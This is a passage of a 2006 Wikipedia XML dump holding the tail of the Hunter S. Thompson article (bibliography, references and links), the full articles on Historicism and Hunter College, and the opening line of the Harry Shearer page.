*''[[Fear and Loathing in Las Vegas|Fear and Loathing in Las Vegas: A Savage Journey to the Heart of the American Dream]]''. (New York, Random House, 1971; Vintage, 1989, ISBN 0679724192; Vintage, 1998, ISBN 0679785892)
*''[[Fear and Loathing on the Campaign Trail 1972|Fear and Loathing: On the Campaign Trail '72]]''. (San Francisco, Straight Arrow Books, 1973; Warner Books, 1985, ISBN 0446313645)
*''[[The Great Shark Hunt|Gonzo Papers, Vol. 1: The Great Shark Hunt: Strange Tales from a Strange Time]]''. (New York, Summit Books, 1979; Simon &amp; Schuster, 2003, ISBN 0743250451)
*''The Curse of Lono'', illustrated by [[Ralph Steadman]]. (Bantam Books, 1983)
*''Gonzo Papers, Vol. 2: Generation of Swine: Tales of Shame and Degradation in the '80s''. (New York, Summit Books, 1988; Vintage, 1989, ISBN 0679722378; Simon &amp; Schuster, 2003, ISBN 0743250443)
*''Gonzo Papers, Vol. 3: Songs of the Doomed: More Notes on the Death of the American Dream''. (New York, Summit Books, 1990; Pocket, 1991, ISBN 0671743260; Simon &amp; Schuster/Touchstone, 2002, ISBN 0743240995)
*''Screwjack and Other Stories''. (Santa Barbara, Neville Press, 1991; Simon &amp; Schuster, 2000, ISBN 0684873214)
*''Gonzo Papers, Vol. 4: Better Than Sex: Confessions of a Political Junkie''. (New York, Random House, 1994; Ballantine Books, 1995, ISBN 0345396359)
*''The Fear and Loathing Letters, Vol. 1: The Proud Highway: The Saga of a Desperate Southern Gentleman 1955&amp;ndash;1967''. (New York, Random House, 1997; Ballantine Books, 1998, ISBN 0345377966)
*''Fear and Loathing in America: The Brutal Odyssey of an Outlaw Journalist 1968&amp;ndash;1976''. (Collection of Papers first appeared in Time magazine, 1997; Simon &amp; Schuster, 2001, ISBN 0684873168)
*''Kingdom of Fear: Loathsome Secrets of a Star-Crossed Child in the Final Days of the American Century''. (Simon &amp; Schuster; 1st Simon edition, November 1, 2003, ISBN 0684873249)
*''Hey Rube: Blood Sport, the Bush Doctrine, and the Downward Spiral of Dumbness Modern History from the Sports Desk''. (Simon &amp; Schuster, August 11, 2004, ISBN 0684873192)

==References==
*{{fnb|1}}Observations regarding Virginia Thompson, and the relationship of Hunter and his brother James, were shared by James with Nicolas S. Martin during their years as friends and roommates in Lexington, Kentucky, and San Francisco.
*{{fnb|2}}Kass, Jeff (Feb. 25, 2005) [http://www.rockymountainnews.com/drmn/state/article/0,1299,DRMN_21_3575306,00.html ''Thompson 'made this choice' '']. Rocky Mountain News
*{{fnb|3}}Steadman, Ralph (Feb. 2005).   ''[http://www.ralphsteadman.com Hunter S. Thompson 1937-2005]''.  Retrieved Mar. 19, 2005.
*{{fnb|4}}Elliott, Dan &amp;mdash; Associated Press[http://www.rockymountainnews.com/drmn/state/article/0,1299,DRMN_21_3572138,00.html ''Thompson's send-off could fill skies'']

==External links==
{{wikiquote}}
{{wikinewspar|Author Hunter S. Thompson found dead}}
*[http://www.gonzo.org The Great Thompson Hunt]
*[http://hst.9pointzero.com Dr. Hunter S. Thompson Bulletin Board &amp; All Night Shooting Range]
*[http://sports.espn.go.com/espn/archive?columnist=hunter_s._thompson&amp;root=page2 Thompson's ESPN column]
*[http://www.westerncourier.com/media/paper650/news/2005/02/23/Opinion/A.Hero.Passes.On-873982.shtml?norewrite&amp;sourcedomain=www.westerncourier.com Thompson Tribute/Obit]
*[http://sports.espn.go.com/espn/page2/story?id=1992213 Thompson's final column] on [[ESPN]]
*[http://www.nationalreview.com/buckley/wfb200503011513.asp On Thompson (critical)] by [[William F. Buckley, Jr.]] of [[National Review]]
*[http://www.opinionjournal.com/la/?id=110006325 Tribute to Thompson] by [[Tom Wolfe]] in the ''[[Wall Street Journal]]''
*[http://www.rawstory.com/exclusives/blyler/hst_counselor_081405.htm Hunter S.Thompson's &quot;Counselor&quot;] an explanation of Thompson's final word in ''Raw Story''
*[http://www.getunderground.com/underground/articles/article.cfm?Article_ID=1798 So Long, Mistah Thompson] by Bob Freville &amp; Jake McGee in ''Get Underground''.
*[http://www.slate.com/id/2113865/ Tribute to Thompson] by [[Christopher Hitchens]] in ''Slate''.  
*[http://www.loudwire.net/users/mediafaction/9053.html Hunter S. Thompson:  An Autopsy] a tribute by J. L. Flatley from [http://www.mediafaction.net MediaFaction.net].
*[http://www.loudwire.net/users/mediafaction/10307.html Hunter S. Thompson:  Conspiracy Theories Take Root] by J. L. Flatley from [http://www.mediafaction.net MediaFaction.net].
*[http://rawstory.com/exclusives/blyler/hunter_thompson_eulogy_22105.htm Hunter's Fear: A Eulogy to Hunter S. Thompson] by [[D.A. Blyler]] in ''Raw Story''.
*[http://www.bbc.co.uk/dna/h2g2/A4177280| &quot;Odi et Amo in Aspen&quot; an obituary], by Kit Boyes on [[H2G2]]. 
*[http://www.newsmeat.com/celebrity_political_donations/Hunter_S_Thompson.php Hunter S. Thompson's political donations]
*{{imdb title|id=0081748|title=Where the Buffalo Roam}}
*{{imdb title|id=0120669|title=Fear and Loathing in Las Vegas}}
*{{imdb title|id=0376136|title=The Rum Diary}}
*[http://technicianonline.com/story.php?id=011242 Fear and loathing on campus]
*[http://books.guardian.co.uk/news/page/0,8097,1419505,00.html Coverage of Hunter S. Thompson's Death] in The Guardian
*[http://www.marilynmanson.com/news.php?newsid=103 Interview on Hunter S. Thompson] with [[Marilyn Manson]] in ''[[Rolling Stone]]''
*[http://www.freezerbox.com/archive/article.php?id=287 The Hunter S. Thompson Interview] on ''[[Freezerbox]]''
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GSmid=38499762&amp;GRid=11188338&amp;pt=James%20Garnett%20Thompson&amp; James Garnett Thompson obituary]
*[http://www.rollingstone.com/news/story/_/id/7605448/ Football Season Is Over] The Final Note and Funeral Coverage
*[http://www.spikemagazine.com/0305huntersthompson.php -Tribute: Spike Magazine]
*[http://www.timesonline.co.uk/article/0,,7-1494489_1,00.html  Fear,loathing,guns: at home with King Gonzo]-article by Marianne MacDonald
*[http://music.download.com/bobwyman/3600-8951_32-100468209.html Free song download: The Ballad of Hunter Thompson by Bob Wyman] Featured on Aspen radio station KSPN
*[http://media.www.dailylobo.com/media/paper344/news/2005/08/25/Culture/Impressions.Of.Dr.Gonzo-969927.shtml?sourcedomain=www.dailylobo.com&amp;MIIHost=media.collegepublisher.com Article about the funeral with photo of memorial tower]
*[http://cafecancun.com/bookarts/thompson.shtml Deconstructing Hunter S. Thompson] Essay by [[Jules Siegel]] argues that Thompson was &quot;the literary equivalent of Cheech &amp; Chong.&quot;

==Online sources==
*[http://www.ncteamericancollection.org/litmap/thompson_hunter_s_ky.htm American Collection]
*[http://www.bookrags.com/biography-hunter-stockton-thompson/ BookRags]


[[Category:1937 births|Thompson, Hunter S.]]
[[Category:2005 deaths|Thompson, Hunter S.]]
[[Category:American journalists|Thompson, Hunter S.]]
[[Category:American novelists|Thompson, Hunter S.]]
[[Category:American writers|Thompson, Hunter S.]]
[[Category:Columbia alumni|Thompson, Hunter S.]]
[[Category:Firearm deaths|Thompson, Hunter S.]]
[[Category:Psychedelic advocates and proponents|Thompson, Hunter S.]]
[[Category:Hunter S. Thompson| ]]
[[Category:Louisvillians|Thompson, Hunter S.]]
[[Category:People from Colorado|Thompson, Hunter S.]]
[[Category:United States Air Force airmen|Thompson, Hunter S.]]
[[Category:Anti-Iraq war Veterans|Thompson, Hunter S.]]
[[Category:Writers who committed suicide|Thompson, Hunter S.]]

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  </page>
  <page>
    <title>Historicism</title>
    <id>14329</id>
    <revision>
      <id>41318629</id>
      <timestamp>2006-02-26T15:06:37Z</timestamp>
      <contributor>
        <ip>216.119.158.199</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Historicism''' is a term which applies to a number of theories of culture or historical development which place the greatest weight on two factors:
# that there is an organic succession of developments, 
# that local conditions and peculiarities influence the results in a decisive way  

It can be contrasted with [[reductionism|reductionist]] theories which suppose that all developments are individual and ''[[ad hoc]]''.

Separate from these usages is the [[#Biblical historicism|Biblical use]] of the word to denote Bible prophecy interpreted as having to do with church history, as opposed to any type of interpretation.

The term has developed different and divergent, though loosely related, meanings. Elements of some appear in the extensive writings of [[Georg Wilhelm Friedrich Hegel|G.W.F. Hegel]], one of the most influential [[philosophy | philosopher]]s of [[Nineteenth Century | 19th-century]] [[Europe]], as well as in those of a philosopher he deeply influenced, [[Karl Marx]]. It is also associated with the empirical social sciences and the work of [[Franz Boas]].

The Austrian/English philosopher [[Karl Popper]] described what he called &quot;historicism&quot; and attacked it, and the [[determinism]] which he argued was at its root.

Post-structuralism uses the term [[New Historicism]], which has some connections to both anthropology and Hegelianism, but is treated in its own separate article.

== Variants of historicism ==
=== Hegelian historicism ===
The historicist position proposed by [[Georg Wilhelm Friedrich Hegel|Hegel]] suggests that any human [[society]] and all human activities such as [[science]], [[art]], or [[philosophy]], are defined by their history, so that their essence can be sought only through understanding that history.  The history of any such human endeavor, moreover, not only builds upon but also reacts against what has gone before; this is the source of Hegel's famous [[dialectic]] teaching usually summed up by the slogan &quot;[[thesis]], [[antithesis]], and [[synthesis]].&quot;  (Hegel did not use these terms, although [[Johann Gottlieb Fichte|Fichte]] did.) His famous aphorism, &quot;Philosophy is the history of philosophy,&quot; describes it bluntly. 

Hegel's position is perhaps best illuminated when contrasted against the atomistic and reductionist view of human societies and social activities self-defining on an ''ad hoc'' basis through the sum of dozens of interactions. Yet another contrasting model is the persistent metaphor of a [[social contract]].  Hegel sees the relationship between individuals and societies as organic, not atomic: even their social discourse is mediated by [[philosophy of language|language]], and language is rooted in [[etymology]] and unique character. It thus preserves the culture of the past in thousands of half-forgotten frozen [[metaphor]]s.  To understand why a person is the way he is, you must put that person in a society: and to understand that society, you must understand its history, and the forces that shaped it.  The ''[[Zeitgeist]]'', the &quot;Spirit of the Age,&quot; is the concrete embodiment of the most important factors that are acting in human history at any given time. This contrasts with teleological theories of activity, which suppose that the end is the determining factor of activity, as well as those which believe in a [[tabula rasa]], or blank slate, view, where individuals are defined by their interactions.  

These ideas can be taken in several directions.  The [[Right Hegelians]], working from Hegel's opinions about the organicism and historically determined nature of human societies, took Hegel's historicism as a justification of the unique destiny of national groups and the importance of stability and institutions.  Hegel's conception of human societies as entities greater than the individuals who constitute them influenced nineteenth century [[romantic nationalism]] and its twentieth century excesses.  The [[Young Hegelians]], by contrast, took Hegel's thoughts on societies shaped by the forces of social conflict for a doctrine of [[progress]], and attempted to chart a course that would manipulate these forces to lead to various improved outcomes. [[Karl Marx]]'s doctrine of &quot;historical inevitabilities&quot; and [[historical materialism]] is one of the more influential reactions to this side of Hegel's thought.  Significantly, [[Marx's theory of alienation]] comes full circle to the thought of the Hegelian right, arguing among other things that [[capitalism]] disrupts the rooted nature of traditional relationships between workers and their work.

Hegelian historicism is related to his ideas on the means by which human societies progress, specifically the [[Hegelian dialectic | dialectic]] and his conception of logic as reflecting the inner essential nature of reality. Hegel attributes the change to the &quot;modern&quot; need to interact with the world, where as ancient philosophers were self-contained, and medieval philosophers were monks. In his History of Philosophy Hegel writes:

:In modern times things are very different; now we no longer see philosophic individuals who constitute a class by themselves. With the present day all difference has disappeared; philosophers are not monks, for we find them generally in connection with the world, participating with others in some common work or calling. They live, not independently, but in the relation of citizens, or they occupy public offices and take part in the life of the state. Certainly they may be private persons, but if so, their position as such does not in any way isolate them from their other relationship. They are involved in present conditions, in the world and its work and progress. Thus their philosophy is only by the way, a sort of luxury and superfluity. This difference is really to be found in the manner in which outward conditions have taken shape after the building up of the inward world of religion. In modern times, namely, on account of the reconciliation of the worldly principle with itself, the external world is at rest, is brought into order &amp;mdash; worldly relationships, conditions, modes of life, have become constituted and organized in a manner which is conformable to nature and rational. We see a universal, comprehensible connection, and with that individuality likewise attains another character and nature, for it is no longer the plastic individuality of the ancients. This connection is of such power that every individuality is under its dominion, and yet at the same time can construct for itself an inward world.

This view &amp;mdash; that entanglement in society creates an indissoluble bond with expression &amp;mdash; would be an influential question in philosophy going forward, namely, the requirements for individuality. It would be taken up by [[Nietzsche]], [[John Dewey]] and [[Michel Foucault]] directly, as well as in the work of numerous artists and authors. There have been various responses to Hegel's challenge. The Romantic period focused on the ability of individual genius to transcend time and place, and use the materials from their heritage to fashion works which were beyond determination. The modern would advance versions of John Locke's infinite malleability of the human animal. Post-structuralism would argue that since history is not present, but only the image of history, that while an individual era or power structure might focus on a particular history, that the contradictions within the story would hinder the very purposes that the history was constructed to advance.

=== Anthropological Historicism ===

Within [[anthropology]] and other sciences which study the past, historicism has a different meaning. It is associated with the work of [[Franz Boas]]. His theory took the [[diffusionist]] concept that there were a few &quot;cradles of civilization&quot; which grew outwards in circles, and merged it with the idea that societies would adapt to their circumstances, which is called [[historical particularism]]. The school of historicism grew up in response to unilinear theories that social development reflected adaptive fitness, and therefore existed on a spectrum. While these theories were espoused by [[Charles Darwin]] and many of his students, historicism was neither anti-selection, nor anti-evolution. However, it attacked the notion that there was one normative spectrum of development, instead focusing on how local conditions would create adaptations to the local environment. What was adaptive for one region might not be so for another.

The primary method of historicism was emprical, namely that there were so many requisite inputs into a society or event, that only by focusing on the data available could a theory of the source be determined. In this view, grand theories are unprovable, and instead intensive field work would determine the most likely explanation and history of a culture. Hence, historicism. Boas would later teach at [[Columbia University]] and this would produce a school of thought based on his ideas.

This view would produce a wide range of definition of what, exactly, constituted culture and history, but in each case the only means of explaining it was in terms of the historical particulars of the culture itself.

=== Popper's attack on historicism ===
[[Karl Popper]] used the term ''historicism'' in his influential books ''The Poverty of Historicism'' and [[The Open Society and Its Enemies]], to mean: &quot;an approach to the social sciences which assumes that ''historical prediction'' is their primary aim, and which assumes that this aim is attainable by discovering the 'rhythms' or the 'patterns', the 'laws' or the 'trends' that underlie the evolution of history&quot; (p. 3 of ''The Poverty of Historicism'', italics in original). Karl Popper wrote with reference to [[Hegel]]'s theory of [[history]], which he criticized extensively. However, there is wide dispute as to whether Popper's description of &quot;historicism&quot; is an accurate description of Hegel, or more a reflection of his own philosophical antagonists, including [[Marxism-Leninism|Marxist-Leninist]] thought, then widely held as posing a challenge to the philosophical basis of the [[Western world|West]], as well as theories such as [[Spengler]]'s which drew predictions about the future course of events from the past.

In [[The Open Society and Its Enemies]], Popper attacks &quot;historicism&quot; and its proponents, among whom as well as Hegel he identifies and singles out [[Plato]] and [[Marx]] &amp;mdash; calling them all &quot;enemies of the open society&quot;.  The objection he makes is that historicist positions, by claiming that there is an inevitable and [[determinism|deterministic]] pattern to [[history]], abrogate the [[democracy|democratic]] responsibility of each one of us to make our own free contributions to the evolution of [[society]], and hence lead to [[totalitarianism]].

=== New Historicism ===
''Main Article [[New Historicism]]''

Since the 1950's, when [[Lacan]] and [[Foucault]] argued that each epoch has its own knowledge system, which individuals are inexorably entangled with, many [[post-structuralist | post-structuralists]] have used ''historicism'' to describe the view that all questions must be settled within the cultural and social context that they are raised in, answers cannot be found by appeal to an external truth, but only within the confines of the norms and forms that phrase the question.  This version of historicism holds that there are only the raw texts, markings and artifacts that exist in the present, and the conventions used to decode them. This school of thought sometimes goes by the name of ''[[New Historicism]]''.

The same label, ''new historicism'' is also employed for a school of literary scholarship which interprets a [[poem]], [[drama]], etc. as an expression of the power-structures of the surrounding society. [[Stephen Greenblatt]] is an example of this school.

=== Modern historicism ===

Within the context of 20th century philosophy, the conflict over whether ahistorical and immanent methodologies were sufficient to understand meaning &amp;mdash; that is to say, what you see is what you get positivism &amp;mdash; or whether context, background and culture are important beyond the mere need to decode words, phrases and references. While post-structural historicism is relativist in its orientation, that is, it sees each culture as its own frame of reference, a large number of thinkers have embraced the need for historical context, not because culture is self-referential, but because there is no more compressed means of conveying all of the relevant information except through history. This view is often seen as being rooted in the work of [[Bennedetto Croce]]. Recent philosophers in this tradition include [[Thomas Kuhn]].

=== Biblical historicism ===
In [[Christianity | Christian]] circles, the term ''historicism'' refers to the confessional [[Protestantism | Protestant]] form of prophetical interpretation which holds that the fulfilment of [[Bible | biblical]] [[prophecy]] has taken place throughout history and continues to take place today; as opposed to other methods which limit the time-frame of prophecy-fulfillment to the past or to the future.  The historicist method is what led reformers throughout Europe to declare that the pope was the man of sin sitting on the seven hills of Rome.  Examples of famous Christians and sects declaring the pope to be the antichrist include the Waldensians, Albigenses, Lollards, Lutherans, Calvinists, Hussians, and a host of individuals, including the father of the modern English Bible William Tyndale and even articles of faith such as the Westminster Confession of Faith.  Protestant sites that continue to declare the pope as the antichrist using the historicist method include those listed below under the External links.

== See also ==
* [[sociocultural evolution]]

== References ==

* [[Hans-Georg | Gadamer ]] ''Truth and Method''
* [[Ronald J. Pestritto]] ''[[Woodrow Wilson]] and the roots of modern liberalism'' 2005
* [[Karl Popper|Popper, Karl]]. 1945. ''The Open Society and Its Enemies'' (in 2 volumes). (ISBN 0691019681) Routledge.
* [[Karl Popper|Popper, Karl]]. 1993. ''The Poverty of Historicism''. (ISBN 0415065690) Routledge.
* [[G.W.F Hegel]] ''Philosophy of History''
* [[Franz Boas]] ''The Mind of Primitive Man'' 1911

==External links==

Hegel

* [http://www.hegel.org/ The Hegel Society of America]
* [http://www.hegel.net/ Site Hegel]
* [http://plato.stanford.edu/entries/hegel/ Hegel in Stanford Encyclopedia of Philosophy]
* http://www.gwfhegel.org/
* [http://www.historyguide.org/intellect/hegel.html Hegel page in 'The History Guide']

Anthropology

* [http://www.as.ua.edu/ant/Faculty/murphy/histor.htm Historicism in Anthropology]

Popper

* [http://lachlan.bluehaze.com.au/books/popper_poverty_of_historicism.html Extracts from ''The Poverty of Historicism''] 

New Historicism

* [http://www.sou.edu/English/Hedges/Sodashop/RCenter/Theory/Explaind/nhistexp.htm New Historicism Explained] 
* [http://www.nhinet.org/ryn-rob.htm Claes G. Ryn, ''Defining Historicism'' ]
* [http://www.as.ua.edu/ant/Faculty/murphy/histor.htm M. D. Murphy, ''Historicism'']

Biblical Prophecy
* [http://www.everythingimportant.org/viewtopic.php?t=1124 A Modern Historicist Interpretation of Revelation 2 and 3] 
* http://www.historicism.net/
* http://www.historicism.com/ 
* http://www.rev14.info/
* http://www.historicist.com/ 
* http://www.ianpaisley.org/ 
* http://www.truthleftbehind.com/

[[Category:Social philosophy]]
[[Category:Evolution]]
[[Category:Georg Hegel]]

[[de:Historizismus]]
[[es:Historicismo]]
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[[nl:Historicisme]]
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[[sv:Historicism]]</text>
    </revision>
  </page>
  <page>
    <title>Hunter College</title>
    <id>14330</id>
    <revision>
      <id>40658209</id>
      <timestamp>2006-02-22T02:54:31Z</timestamp>
      <contributor>
        <username>JesseRafe</username>
        <id>641784</id>
      </contributor>
      <minor />
      <comment>/* Notable alumni */ Smigel's occupation</comment>
      <text xml:space="preserve">&lt;div style=&quot;float: right; margin: 0 0 1em 2em; width: 20em; text-align: right; font-size: 0.86em; font-family: lucida grande, sans-serif; line-height: normal;&quot;&gt;&lt;!-- start of floated right section --&gt;

&lt;div style=&quot;border: 1px solid #ccd2d9; background: #f0f6fa; text-align: left; padding: 0.5em 1em; text-align: center;&quot;&gt;&lt;!-- start of slate grey box --&gt;
&lt;font style=
&quot;font: inherit; font-size: 100%; font-weight: bold; text-align: center; border: none; margin: 0; padding: 0; color: #6a6c76;&quot;&gt;Hunter College of The City University of New York&lt;/font&gt;
	[[Image:Hunter.gif|Hunter logo]]

&lt;table style=&quot;background: transparent; text-align: left; table-layout: auto; border-collapse: collapse; padding: 0; font-size: 100%;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Motto&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;''Mihi cura futuri'' (&quot;Mine is the care of the future&quot;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Established&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[1870]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;School type&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Public school|Public]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;President&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Jennifer Raab]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Location&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[New York City|New York]], [[New York|NY]], [[United States|USA]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Enrollment&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;15,566 undergraduate, 5,743 graduate and professional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Faculty&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;544&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Campus&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[urban area|Urban]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Athletics&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;12 sports teams&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Mascot&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Hawk]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Homepage&lt;/th&gt;
	&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[http://www.hunter.cuny.edu/ hunter.cuny.edu]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;&lt;!-- end of slate grey box --&gt;
&lt;/div&gt;&lt;!-- end of floated right section; article starts here --&gt;
:''See also: [[Hunter College High School]]''

'''Hunter College of The City University of New York''' (known more commonly as simply '''Hunter College''') is a senior college of the [[City University of New York]] (CUNY), located on [[Manhattan]]'s [[Upper East Side]]. Hunter, apart from being the largest of the CUNY colleges, is one of the oldest public colleges in the [[United States]]. It is also one of the country's most diverse schools; Hunter has students hailing from 84 countries and speaking approximately 40 languages. The college is particularly noted for its professional schools in [[education]], [[health sciences]], [[nursing]], and [[social work]].

== History ==

Hunter College has its origins in the nineteenth-century movement for [[normal school]] training which swept across the [[United States]]. Hunter descends from the '''Female Normal and High School''' (later renamed the '''Normal College of the City of New York'''), organized in [[New York City]] in [[1870]]. Founded by Irish immigrant [[Thomas Hunter (school founder)|Thomas Hunter]], who was president of the school during the first 37 years, it was originally an all-female school for training teachers. The school, which was housed in an armory and saddle store at Broadway and East Fourth Street in Manhattan, was open to all qualified women, irrespective of race, religion or ethnic background, which was incongruent to the prevailing admission practices of other schools during this era. Created by the New York State Legislature, Hunter was deemed the only approved institution for those seeking to teach in New York City during this time. The school incorporated an elementary and high school for [[gifted children]], where students practiced teaching. In [[1887]], a [[kindergarten]] was established as well. (Today, the [[elementary school]] and the [[Hunter College High School|high school]] still exist at a different location, and are now called the Hunter Campus Schools.)

During Thomas Hunter's tenure as president of the school, Hunter became known for its impartiality regarding race, religion, ethnicity, financial or political favoritism; its pursuit of higher education for women; its high entry requirements; and its rigorous academics. The college's student population quickly expanded, and the college subsequently moved uptown, into a new [[Gothic architecture|Gothic]] structure on Lexington Avenue between 68th and 69th Streets.

In [[1888]] the school was incorporated as a college under the statutes of New York State, with the power to confer the degree of [[Bachelor of Arts|A.B.]] This led to the separation of the school into two &quot;camps&quot;: the &quot;Normals,&quot; who pursued a four-year course of study to become licensed teachers, and the &quot;Academics,&quot; who sought non-teaching professions and the Bachelor of Arts degree. After [[1902]] when the &quot;Normal&quot; course of study was abolished, the &quot;Academic&quot; course became standard across the student body.

In [[1914]] the Normal College became Hunter College in honor of its first president. At the same time, the college was experiencing a period of great expansion as increasing student enrollments necessitated more space. The college reacted by establishing branches in the boroughs of [[Brooklyn]], [[Queens, New York|Queens]], and [[Staten Island]]. By [[1920]], Hunter College had the largest enrollment of women of any municipally financed college in the United States.

The late 1930s saw the construction of Hunter College in the Bronx (later known as the Bronx Campus). During the [[Second World War]], Hunter leased the Bronx Campus buildings to the [[United States Navy]] who used the facilities to train 95,000 women volunteers for military service as [[WAVES]]. When the Navy vacated the campus, the site was briefly occupied by the nascent [[United Nations]], which held its first Security Council sessions at the Bronx Campus in [[1946]], giving the school an international profile.

Hunter became the women's college of the municipal system, and in the [[1950s]], when [[City College of New York|City College]] became [[coeducational]], Hunter started admitting men to its [[Bronx]] campus. In [[1964]], the [[Manhattan]] campus began admitting men also. The Bronx campus subsequently became [[Lehman College]] in 1968.

The &quot;open admissions&quot; policy initiated in [[1970]] by the City University of New York opened the school's doors to historically underrepresented groups. Many African Americans, Asian Americans, Latinos, Puerto Ricans, and students from the developing world made their presence felt at Hunter, and subsequently altered the composition of the school's student body. As a result of the addition of these &quot;new&quot; students, Hunter created programs in Black and Puerto Rican Studies, and opened new buildings on Lexington Avenue during the early 1980s.

Today, Hunter College is a comprehensive teaching and research institution. Of the more than 20,000 students enrolled at Hunter, nearly 5,000 are enrolled in a graduate program, the most popular of which are [[education]] and [[social work]]. More than 50% of students are the first in their families to attend college. Finally, the college maintains its tradition of concern for women's education, with nearly three out of four students being female.

The motto of Hunter College is &quot;mihi cura futuri,&quot; meaning &quot;the care of the future is mine.&quot; This was taken from book XIII of [[Ovid]]'s [[Metamorphoses (poem)|Metamorphoses]].

== Campus ==

Hunter College is anchored by its main campus at East 68th Street and Lexington Avenue, a modern complex of three towers -the East, West and North buildings and Thomas Hunter Hall, all of which are interconnected by skywalks. The health sciences schools, including the Hunter-Bellevue School of Nursing and the School of Health Sciences, are located at East 25th Street and First Avenue, on what is known as the Brookdale Campus. The Brookdale complex also houses the City University's only dormitory facility, which is home to over 600 undergraduate and graduate students. Brookdale contains a swimming-pool, a basketball court and an underused though well maintained bowling alley, where bowlers must retrieve their balls manually. It also provides limited housing to nurses employed at Bellevue Hospital.
The college bookstore is located in the west building. It supplies all the students of Hunter College with their textbooks. They have recently started a web order process to help make purchasing textbooks a lot easier. You can visit this at [http://www.hunter.bkstore.com/ the Hunter College Bookstore Website]

== Notable alumni ==

* [[Bella Abzug]] - Congresswoman and women's rights advocate
* [[Ellen Barkin]] - actor
* [[Keiko Bonk]] - activist, artist, politician, and highest-ranking elected [[Green Party (United States)|Green Party]] member in the United States
* [[Edward Burns]] - actor
* [[Bobby Darin]] - musician
* [[Ruby Dee]] - actor
* [[Vin Diesel]] - actor
* [[Hugh Downs]] - television host
* [[Gertrude Elion]] - Nobel Laureate in medicine
* [[Terrance Lindall]] - artist
* [[Julianne Nicholson]] - actor
* [[Rhea Perlman]] - actor
* [[Donna Shalala]] - United States Secretary of Health and Human Services under [[Bill Clinton]]
* [[Charles Barron]] - New York City Councilmember
* [[Robert Smigel]] - comedic writer/actor
* [[Jean Stapleton]] - actor
* [[Rosalyn Yalow]] - Nobel Laureate in medicine

==External links==
*[http://www.hunter.cuny.edu/ Hunter College]
*[http://www.hunter.bkstore.com/ Hunter College Bookstore]

{{CUNY}}
{{New York City}}
[[Category:City University of New York]]
[[Category:Nursing schools in New York]]

[[ja:ニューヨーク市立大学ハンター校]]</text>
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  <page>
    <title>Harry Shearer</title>
    <id>14331</id>
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        <username>Jablair51</username>
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      <comment>/* Filmography */  Fix link to The Fisher King</comment>
      <text xml:space="preserve">[[Image:Harry_shearer.jpg|right|Harry Shearer]]
